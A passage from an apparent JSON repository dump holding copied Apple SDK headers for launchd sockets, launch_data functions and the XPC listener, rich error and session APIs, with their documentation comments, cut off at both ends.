LAUNCH_JOBSOCKETKEY_PASSIVE \"SockPassive\"\n#define LAUNCH_JOBSOCKETKEY_BONJOUR \"Bonjour\"\n#define LAUNCH_JOBSOCKETKEY_SECUREWITHKEY \"SecureSocketWithKey\"\n#define LAUNCH_JOBSOCKETKEY_PATHNAME \"SockPathName\"\n#define LAUNCH_JOBSOCKETKEY_PATHMODE \"SockPathMode\"\n#define LAUNCH_JOBSOCKETKEY_PATHOWNER \"SockPathOwner\"\n#define LAUNCH_JOBSOCKETKEY_PATHGROUP \"SockPathGroup\"\n#define LAUNCH_JOBSOCKETKEY_NODENAME \"SockNodeName\"\n#define LAUNCH_JOBSOCKETKEY_SERVICENAME \"SockServiceName\"\n#define LAUNCH_JOBSOCKETKEY_FAMILY \"SockFamily\"\n#define LAUNCH_JOBSOCKETKEY_PROTOCOL \"SockProtocol\"\n#define LAUNCH_JOBSOCKETKEY_MULTICASTGROUP \"MulticastGroup\"\n\n#define LAUNCH_JOBKEY_PROCESSTYPE \"ProcessType\"\n#define LAUNCH_KEY_PROCESSTYPE_APP \"App\"\n#define LAUNCH_KEY_PROCESSTYPE_STANDARD \"Standard\"\n#define LAUNCH_KEY_PROCESSTYPE_BACKGROUND \"Background\"\n#define LAUNCH_KEY_PROCESSTYPE_INTERACTIVE \"Interactive\"\n#define LAUNCH_KEY_PROCESSTYPE_ADAPTIVE \"Adaptive\"\n\n/*!\n * @function launch_activate_socket\n *\n * @abstract\n * Retrieves the file descriptors for sockets specified in the process'\n * launchd.plist(5).\n *\n * @param name\n * The name of the socket entry in the service's Sockets dictionary.\n *\n * @param fds\n * On return, this parameter will be populated with an array of file\n * descriptors. One socket can have many descriptors associated with it\n * depending on the characteristics of the network interfaces on the system.\n * The descriptors in this array are the results of calling getaddrinfo(3) with\n * the parameters described in launchd.plist(5).\n *\n * The caller is responsible for calling free(3) on the returned pointer.\n *\n * @param cnt\n * The number of file descriptor entries in the returned array.\n *\n * @result\n * On success, zero is returned. Otherwise, an appropriate POSIX-domain is\n * returned. Possible error codes are:\n *\n * ENOENT -> There was no socket of the specified name owned by the caller.\n * ESRCH -> The caller is not a process managed by launchd.\n * EALREADY -> The socket has already been activated by the caller.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_10, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1 OS_NONNULL2 OS_NONNULL3\nint\nlaunch_activate_socket(const char *name,\n\tint * _Nonnull * _Nullable fds, size_t *cnt);\n\ntypedef struct _launch_data *launch_data_t;\ntypedef void (*launch_data_dict_iterator_t)(const launch_data_t lval,\n\tconst char *key, void * _Nullable ctx);\n\ntypedef enum {\n\tLAUNCH_DATA_DICTIONARY = 1,\n\tLAUNCH_DATA_ARRAY,\n\tLAUNCH_DATA_FD,\n\tLAUNCH_DATA_INTEGER,\n\tLAUNCH_DATA_REAL,\n\tLAUNCH_DATA_BOOL,\n\tLAUNCH_DATA_STRING,\n\tLAUNCH_DATA_OPAQUE,\n\tLAUNCH_DATA_ERRNO,\n\tLAUNCH_DATA_MACHPORT,\n} launch_data_type_t;\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_alloc(launch_data_type_t type);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT OS_NONNULL1\nlaunch_data_t\nlaunch_data_copy(launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nlaunch_data_type_t\nlaunch_data_get_type(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nvoid\nlaunch_data_free(launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1 OS_NONNULL2 OS_NONNULL3\nbool\nlaunch_data_dict_insert(launch_data_t ldict, const launch_data_t lval,\n\tconst char *key);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1 OS_NONNULL2\nlaunch_data_t _Nullable\nlaunch_data_dict_lookup(const launch_data_t ldict, const char *key);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1 OS_NONNULL2\nbool\nlaunch_data_dict_remove(launch_data_t ldict, const char *key);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1 OS_NONNULL2\nvoid\nlaunch_data_dict_iterate(const launch_data_t ldict,\n\tlaunch_data_dict_iterator_t iterator, void * _Nullable ctx);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nsize_t\nlaunch_data_dict_get_count(const launch_data_t ldict);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1 OS_NONNULL2\nbool\nlaunch_data_array_set_index(launch_data_t larray, const launch_data_t lval,\n\tsize_t idx);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nlaunch_data_t\nlaunch_data_array_get_index(const launch_data_t larray, size_t idx);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nsize_t\nlaunch_data_array_get_count(const launch_data_t larray);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_new_fd(int fd);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_new_machport(mach_port_t val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_new_integer(long long val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_new_bool(bool val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_new_real(double val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_new_string(const char *val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT\nlaunch_data_t\nlaunch_data_new_opaque(const void *bytes, size_t sz);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nbool\nlaunch_data_set_fd(launch_data_t ld, int fd);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nbool\nlaunch_data_set_machport(launch_data_t ld, mach_port_t mp);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nbool\nlaunch_data_set_integer(launch_data_t ld, long long val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nbool\nlaunch_data_set_bool(launch_data_t ld, bool val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nbool\nlaunch_data_set_real(launch_data_t ld, double val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nbool\nlaunch_data_set_string(launch_data_t ld, const char *val);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_NONNULL1\nbool\nlaunch_data_set_opaque(launch_data_t ld, const void *bytes, size_t sz);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nint\nlaunch_data_get_fd(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nmach_port_t\nlaunch_data_get_machport(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nlong long\nlaunch_data_get_integer(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nbool\nlaunch_data_get_bool(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\ndouble\nlaunch_data_get_real(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nconst char *\nlaunch_data_get_string(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nvoid * _Nullable\nlaunch_data_get_opaque(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nsize_t\nlaunch_data_get_opaque_size(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT OS_NONNULL1\nint\nlaunch_data_get_errno(const launch_data_t ld);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_WARN_RESULT\nint\nlaunch_get_fd(void);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)\nOS_EXPORT OS_MALLOC OS_WARN_RESULT OS_NONNULL1\nlaunch_data_t\nlaunch_msg(const launch_data_t request);\n\n__END_DECLS\n#if __has_feature(assume_nonnull)\n_Pragma(\"clang assume_nonnull end\")\n#endif\n\n#endif // __XPC_LAUNCH_H__\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/listener.h",
    "content": "#ifndef __XPC_LISTENER_H__\n#define __XPC_LISTENER_H__\n\n#ifndef __XPC_INDIRECT__\n#error \"Please #include <xpc/xpc.h> instead of this file directly.\"\n// For HeaderDoc.\n#include \"base.h\"\n#endif // __XPC_INDIRECT__\n\n#ifndef __BLOCKS__\n#error \"XPC Listener require Blocks support.\"\n#endif // __BLOCKS__\n\nXPC_ASSUME_NONNULL_BEGIN\n__BEGIN_DECLS\n\n/*!\n * @typedef xpc_listener_t\n *\n * @discussion\n * Listeners represent the server side variant of an XPC Session.\n *\n * Listeners are activated and then begin receiving `xpc_session_t` from peers attempting to\n * connect to the server\n *\n */\nOS_OBJECT_DECL_CLASS(xpc_listener);\n\n#pragma mark Constants\n/*!\n * @typedef xpc_listener_create_flags_t\n * Constants representing different options available when creating an XPC\n * Listener.\n *\n * @const XPC_LISTENER_CREATE_INACTIVE\n * Indicates that the listener should not be activated during its creation. The\n * returned listener must be manually activated using\n * {@link xpc_listener_activate} before it can be used.\n */\nXPC_SWIFT_NOEXPORT\nXPC_FLAGS_ENUM(xpc_listener_create_flags, uint64_t,\n\tXPC_LISTENER_CREATE_NONE XPC_SWIFT_NAME(\"none\") = 0,\n\tXPC_LISTENER_CREATE_INACTIVE XPC_SWIFT_NAME(\"inactive\") = (1 << 0),\n);\n\n#pragma mark Handlers\ntypedef void (^xpc_listener_incoming_session_handler_t)(xpc_session_t peer);\n\n#pragma mark Helpers\n/*!\n * @function xpc_listener_copy_description\n * Copy the string description of the listener.\n *\n * @param listener\n * The listener to be examined.\n *\n * @result\n * The underlying C string description for the provided session. This string\n * should be disposed of with free(3) when done. This will return NULL if a\n * string description could not be generated.\n */\nAPI_AVAILABLE(macos(14.0), ios(17.0), tvos(17.0), watchos(10.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT XPC_WARN_RESULT\nchar * _Nullable\nxpc_listener_copy_description(xpc_listener_t listener);\n\n#pragma mark Server Session Creation\n/*!\n * @function xpc_listener_create\n * Creates a listener with the service defined by the provided name\n *\n * @param service\n * The Mach service or XPC Service name to create the listener with.\n *\n * @param target_queue\n * The GCD queue onto which listener events will be submitted. This may be a\n * concurrent queue. This parameter may be NULL, in which case the target queue\n * will be libdispatch's default target queue, defined as\n * DISPATCH_TARGET_QUEUE_DEFAULT.\n *\n * @param flags\n * Additional attributes to create the listener.\n *\n * @param incoming_session_handler\n * The handler block to be called when a peer  is attempting to establish a\n * connection with this listener. The incoming session handler is mandatory.\n *\n * @param error_out\n * An out-parameter that, if set and in the event of an error, will point to an\n * {@link xpc_rich_error_t} describing the details of any errors that occurred.\n *\n * @result\n * On success this returns a new listener object. The returned listener is\n * activated by default and will begin receiving incoming session requests.\n * The caller is responsible for disposing of the returned object with\n * {@link xpc_release} when it is no longer needed. On failure this will return\n * NULL and if set, error_out will be set to an error describing the failure.\n *\n * @discussion\n * This will fail if the specified XPC service is either not found or is\n * unavailable.\n *\n * When the `incoming_session_handler` returns, the peer session will\n * be automatically activated unless the peer session was explicitly cancelled.\n * Before the `incoming_session_handler` returns it must set a message\n * handler on the peer session using `xpc_session_set_incoming_message_handler`\n * or cancel the session using `xpc_session_cancel`. Failure to take one of\n * these two actions will result in an API misuse crash.\n */\nAPI_AVAILABLE(macos(14.0), ios(17.0), tvos(17.0), watchos(10.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_listener_t _Nullable\nxpc_listener_create(const char * service,\n\t\tdispatch_queue_t _Nullable target_queue,\n\t\txpc_listener_create_flags_t flags,\n\t\txpc_listener_incoming_session_handler_t incoming_session_handler,\n\t\txpc_rich_error_t _Nullable * _Nullable error_out);\n\n#pragma mark Lifecycle\n/*!\n * @function xpc_listener_activate\n * Activates a listener.\n *\n * @param listener\n * The listener object to activate.\n *\n * @param error_out\n * An out-parameter that, if set and in the event of an error, will point to an\n * {@link xpc_rich_error_t} describing the details of any errors that occurred.\n *\n * @result\n * Returns whether listener activation succeeded.\n *\n * @discussion\n * xpc_listener_activate must not be called on a listener that has been already\n * activated. Releasing the last reference on an inactive listener that was\n * created with an xpc_listener_create() is undefined.\n */\nAPI_AVAILABLE(macos(14.0), ios(17.0), tvos(17.0), watchos(10.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nbool\nxpc_listener_activate(xpc_listener_t listener,\n\t\txpc_rich_error_t _Nullable * _Nullable error_out);\n\n/*!\n * @function xpc_listener_cancel\n * Cancels a listener.\n *\n * @param listener\n * The listener object to cancel.\n *\n * @discussion\n * Cancellation is asynchronous and non-preemptive.\n *\n * Cancelling a listener will cause peers attempting to connect\n * to the service to hang. In general, a listener does not need\n * to be explicitly cancelled and the process can safely terminate\n * without cancelling the listener.\n */\nAPI_AVAILABLE(macos(14.0), ios(17.0), tvos(17.0), watchos(10.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nvoid\nxpc_listener_cancel(xpc_listener_t listener);\n\n/*!\n * @function xpc_listener_reject_peer\n * Rejects the incoming peer session\n *\n * @param peer\n * The peer session object to reject. This must be a session that was an argument\n * from an incoming session handler block\n *\n * @param reason\n * The reason that the peer was rejected\n *\n * @discussion\n * The peer session will be cancelled and cannot be used after it has been rejected\n */\nAPI_AVAILABLE(macos(14.0), ios(17.0), tvos(17.0), watchos(10.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nvoid\nxpc_listener_reject_peer(xpc_session_t peer, const char *reason);\n\n__END_DECLS\nXPC_ASSUME_NONNULL_END\n\n#endif // __XPC_LISTENER_H__\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/rich_error.h",
    "content": "#ifndef __XPC_RICH_ERROR_H__\n#define __XPC_RICH_ERROR_H__\n\n#ifndef __XPC_INDIRECT__\n#error \"Please #include <xpc/xpc.h> instead of this file directly.\"\n// For HeaderDoc.\n#include \"base.h\"\n#endif // __XPC_INDIRECT__\n\n#ifndef __BLOCKS__\n#error \"XPC Rich Errors require Blocks support.\"\n#endif // __BLOCKS__\n\nXPC_ASSUME_NONNULL_BEGIN\n__BEGIN_DECLS\n\n#pragma mark Properties\n/*!\n * @function xpc_rich_error_copy_description\n * Copy the string description of an error.\n *\n * @param error\n * The error to be examined.\n *\n * @result\n * The underlying C string for the provided error. This string should be\n * disposed of with free(3) when done.\n * \n * This will return NULL if a string description could not be generated.\n */\nXPC_EXPORT XPC_WARN_RESULT\nchar * _Nullable\nxpc_rich_error_copy_description(xpc_rich_error_t error);\n\n/*!\n * @function xpc_rich_error_can_retry\n * Whether the operation the error originated from can be retried.\n *\n * @param error\n * The error to be inspected.\n *\n * @result\n * Whether the operation the error originated from can be retried.\n */\nXPC_EXPORT XPC_WARN_RESULT\nbool\nxpc_rich_error_can_retry(xpc_rich_error_t error);\n\n__END_DECLS\nXPC_ASSUME_NONNULL_END\n\n#endif // __XPC_RICH_ERROR_H__\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/session.h",
    "content": "#ifndef __XPC_SESSION_H__\n#define __XPC_SESSION_H__\n\n#ifndef __XPC_INDIRECT__\n#error \"Please #include <xpc/xpc.h> instead of this file directly.\"\n// For HeaderDoc.\n#include \"base.h\"\n#endif // __XPC_INDIRECT__\n\n#ifndef __BLOCKS__\n#error \"XPC Session require Blocks support.\"\n#endif // __BLOCKS__\n\nXPC_ASSUME_NONNULL_BEGIN\n__BEGIN_DECLS\n\n#pragma mark Constants\n/*!\n * @typedef xpc_session_create_flags_t\n * Constants representing different options available when creating an XPC\n * Session.\n *\n * @const XPC_SESSION_CREATE_INACTIVE\n * Indicates that the session should not be activated during its creation. The\n * returned session must be manually activated using\n * {@link xpc_session_activate} before it can be used.\n *\n * @const XPC_SESSION_CREATE_MACH_PRIVILEGED\n * Passed to {@link xpc_session_create_mach_service} to indicate that the job\n * advertising the service name in its launchd.plist(5) should be in the\n * privileged Mach bootstrap. This is typically accomplished by placing your\n * launchd.plist(5) in /Library/LaunchDaemons.\n */\nXPC_SWIFT_NOEXPORT\nXPC_FLAGS_ENUM(xpc_session_create_flags, uint64_t,\n\tXPC_SESSION_CREATE_NONE XPC_SWIFT_NAME(\"none\") = 0,\n\tXPC_SESSION_CREATE_INACTIVE XPC_SWIFT_NAME(\"inactive\") = (1 << 0),\n\tXPC_SESSION_CREATE_MACH_PRIVILEGED XPC_SWIFT_NAME(\"privileged\") = (1 << 1)\n);\n\n#pragma mark Handlers\ntypedef void (^xpc_session_cancel_handler_t)(xpc_rich_error_t error) XPC_SWIFT_NOEXPORT;\ntypedef void (^xpc_session_incoming_message_handler_t)(xpc_object_t message) XPC_SWIFT_NOEXPORT;\ntypedef void (^xpc_session_reply_handler_t)(xpc_object_t _Nullable reply,\n\t\txpc_rich_error_t _Nullable error) XPC_SWIFT_NOEXPORT;\n\n#pragma mark Helpers\n/*!\n * @function xpc_session_copy_description\n * Copy the string description of the session.\n *\n * @param session\n * The session to be examined.\n *\n * @result\n * The underlying C string description for the provided session. This string\n * should be disposed of with free(3) when done. This will return NULL if a\n * string description could not be generated.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT XPC_WARN_RESULT\nchar * _Nullable\nxpc_session_copy_description(xpc_session_t session);\n\n#pragma mark Client Session Creation\n/*!\n * @function xpc_session_create_xpc_service\n * Creates a new session object representing a connection to the named service.\n *\n * @param name\n * The name of the service to create a session with.\n *\n * @param target_queue\n * The GCD queue onto which session events will be submitted. This may be a\n * concurrent queue. This parameter may be NULL, in which case the target queue\n * will be libdispatch's default target queue, defined as\n * DISPATCH_TARGET_QUEUE_DEFAULT.\n *\n * @param flags\n * Additional attributes which which to create the session.\n *\n * @param error_out\n * An out-parameter that, if set and in the event of an error, will point to an\n * {@link xpc_rich_error_t} describing the details of any errors that occurred.\n *\n * @result\n * On success this returns a new session object. The returned session is\n * activated by default and can be used to send messages. The caller is\n * responsible for disposing of the returned object with {@link xpc_release}\n * when it is no longer needed. On failure this will return NULL and if set,\n * error_out will be set to an error describing the failure.\n *\n * @discussion\n * This will fail if the specified XPC service is either not found or is\n * unavailable.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_session_t _Nullable\nxpc_session_create_xpc_service(const char *name,\n\t\tdispatch_queue_t _Nullable target_queue,\n\t\txpc_session_create_flags_t flags,\n\t\txpc_rich_error_t _Nullable * _Nullable error_out);\n\n/*!\n * @function xpc_session_create_mach_service\n * Creates a session with the service defined by the provided Mach service name.\n *\n * @param mach_service\n * The Mach service to create a session with. The service name must exist in the\n * Mach bootstrap that is accessible to the process and be advertised in a\n * launchd.plist.\n *\n * @param target_queue\n * The GCD queue onto which session events will be submitted. This may be a\n * concurrent queue. This parameter may be NULL, in which case the target queue\n * will be libdispatch's default target queue, defined as\n * DISPATCH_TARGET_QUEUE_DEFAULT.\n *\n * @param flags\n * Additional attributes which which to create the session.\n *\n * @param error_out\n * An out-parameter that, if set and in the event of an error, will point to an\n * {@link xpc_rich_error_t} describing the details of any errors that occurred.\n *\n * @param cancel_handler\n * The cancel handler block that will be executed when this session is canceled.\n *\n * @result\n * On success this returns a new session object. The returned session is\n * activated by default and can be used to send messages. The caller is\n * responsible for disposing of the returned object with {@link xpc_release}\n * when it is no longer needed. On failure this will return NULL and if set,\n * error_out will be set to an error describing the failure.\n *\n * @discussion\n * This will fail if the specified Mach service is either not found in the\n * bootstrap or is otherwise unavailable.\n *\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_session_t _Nullable\nxpc_session_create_mach_service(const char *mach_service,\n\t\tdispatch_queue_t _Nullable target_queue,\n\t\txpc_session_create_flags_t flags,\n\t\txpc_rich_error_t _Nullable * _Nullable error_out);\n\n#pragma mark Session Configuration\n/*!\n * @function xpc_session_set_incoming_message_handler\n * Set an incoming message handler for a session.\n *\n * @param session\n * The session to set the handler for.\n *\n * @param handler\n * The handler block to be called when a message originated by the peer is\n * received through the provided session.\n *\n * @discussion\n * This can only be called on an inactive session. Calling this on a session\n * with an existing event handler will replace it.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nvoid\nxpc_session_set_incoming_message_handler(xpc_session_t session,\n\t\txpc_session_incoming_message_handler_t handler);\n\n/*!\n * @function xpc_session_set_cancel_handler\n * Set the cancel handler for a session.\n *\n * @param session\n * The session to set the cancel handler for.\n *\n * @param cancel_handler\n * The cancel handler block that will be executed when this session is canceled.\n *\n * @discussion\n * This can only be called on an inactive session. Calling this on a session\n * with an existing cancel handler will replace the existing cancel handler with\n * the one provided.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nvoid\nxpc_session_set_cancel_handler(xpc_session_t session,\n\t\txpc_session_cancel_handler_t cancel_handler);\n\n/*!\n * @function xpc_session_set_target_queue\n * Set the target queue for a session.\n *\n * @param session\n * The session to set the target queue for.\n *\n * @param target_queue\n * The GCD queue onto which session events will be submitted. This may be a\n * concurrent queue. This parameter may be NULL, in which case the target queue\n * will be libdispatch's default target queue, defined as\n * DISPATCH_TARGET_QUEUE_DEFAULT.\n *\n * @discussion\n * This can only be called on an inactive session. Calling this on a session\n * with an existing target queue will replace the existing target queue with\n * the one provided.\n */\nAPI_AVAILABLE(macos(14.0), ios(17.0), tvos(17.0), watchos(10.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nvoid\nxpc_session_set_target_queue(xpc_session_t session,\n\t\tdispatch_queue_t _Nullable target_queue);\n\n#pragma mark Lifecycle\n/*!\n * @function xpc_session_activate\n * Activates a session.\n *\n * @param session\n * The session object to activate.\n *\n * @param error_out\n * An out-parameter that, if set and in the event of an error, will point to an\n * {@link xpc_rich_error_t} describing the details of any errors that occurred.\n *\n * @result\n * Returns whether session activation succeeded.\n *\n * @discussion\n * xpc_session_activate must not be called on a session that has been already\n * activated. Releasing the last reference on an inactive session that was\n * created with an xpc_session_create*() will trigger an API misuse crash.\n *\n * If activation fails, the session is automatically cancelled. \n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nbool\nxpc_session_activate(xpc_session_t session,\n\t\txpc_rich_error_t _Nullable * _Nullable error_out);\n\n/*!\n * @function xpc_session_cancel\n * Cancels the session. After this call, any messages that have not yet been\n * sent will be discarded, and the connection will be unwound. If there are\n * messages that are awaiting replies, they will have their reply handlers\n * invoked with an appropriate {@link xpc_rich_error_t}.\n *\n * @param session\n * The session object to cancel.\n *\n * @discussion\n * Session must have been activated to be canceled. Cancellation is asynchronous\n * and non-preemptive.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nvoid\nxpc_session_cancel(xpc_session_t session);\n\n#pragma mark Message Send\n/*!\n * @function xpc_session_send_message\n * Sends a message over the session to the destination service.\n *\n * @param session\n * The session to send the message over.\n *\n * @param message\n * The message to send. This must be a dictionary object.\n *\n * @result\n * In the event of an error this will return an {@link xpc_rich_error_t}\n * detailing the reasons for the failure. On success this return value will be\n * NULL.\n *\n * @discussion\n * Messages are delivered in FIFO order. This API is safe to call from multiple\n * GCD queues. There is no indication that a message was delivered successfully.\n * This is because even once the message has been successfully enqueued on the\n * remote end, there are no guarantees about when the runtime will dequeue the\n * message and invoke the other session's event handler block.\n *\n * If this is invoked on an inactive session, one created using the\n * XPC_SESSION_CREATE_INACTIVE flag and hasn't yet been activated, the process\n * will crash.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_rich_error_t _Nullable\nxpc_session_send_message(xpc_session_t session, xpc_object_t message);\n\n/*!\n * @function xpc_session_send_message_with_reply_sync\n * Sends a message over the session to the destination service and blocks the\n * caller until a reply is received.\n *\n * @param session\n * The session over which the message will be sent.\n *\n * @param message\n * The message to send. This must be a dictionary object.\n *\n * @param error_out\n * If this parameter is provided, in the event of a failure it will point to an\n * {@link xpc_rich_error_t} describing the details of the error.\n *\n * @result\n * On success, this will return the reply message as an {@link xpc_object_t}.\n * Otherwise NULL is returned.\n *\n * @discussion\n * This API supports priority inversion avoidance and should be used instead of\n * combining 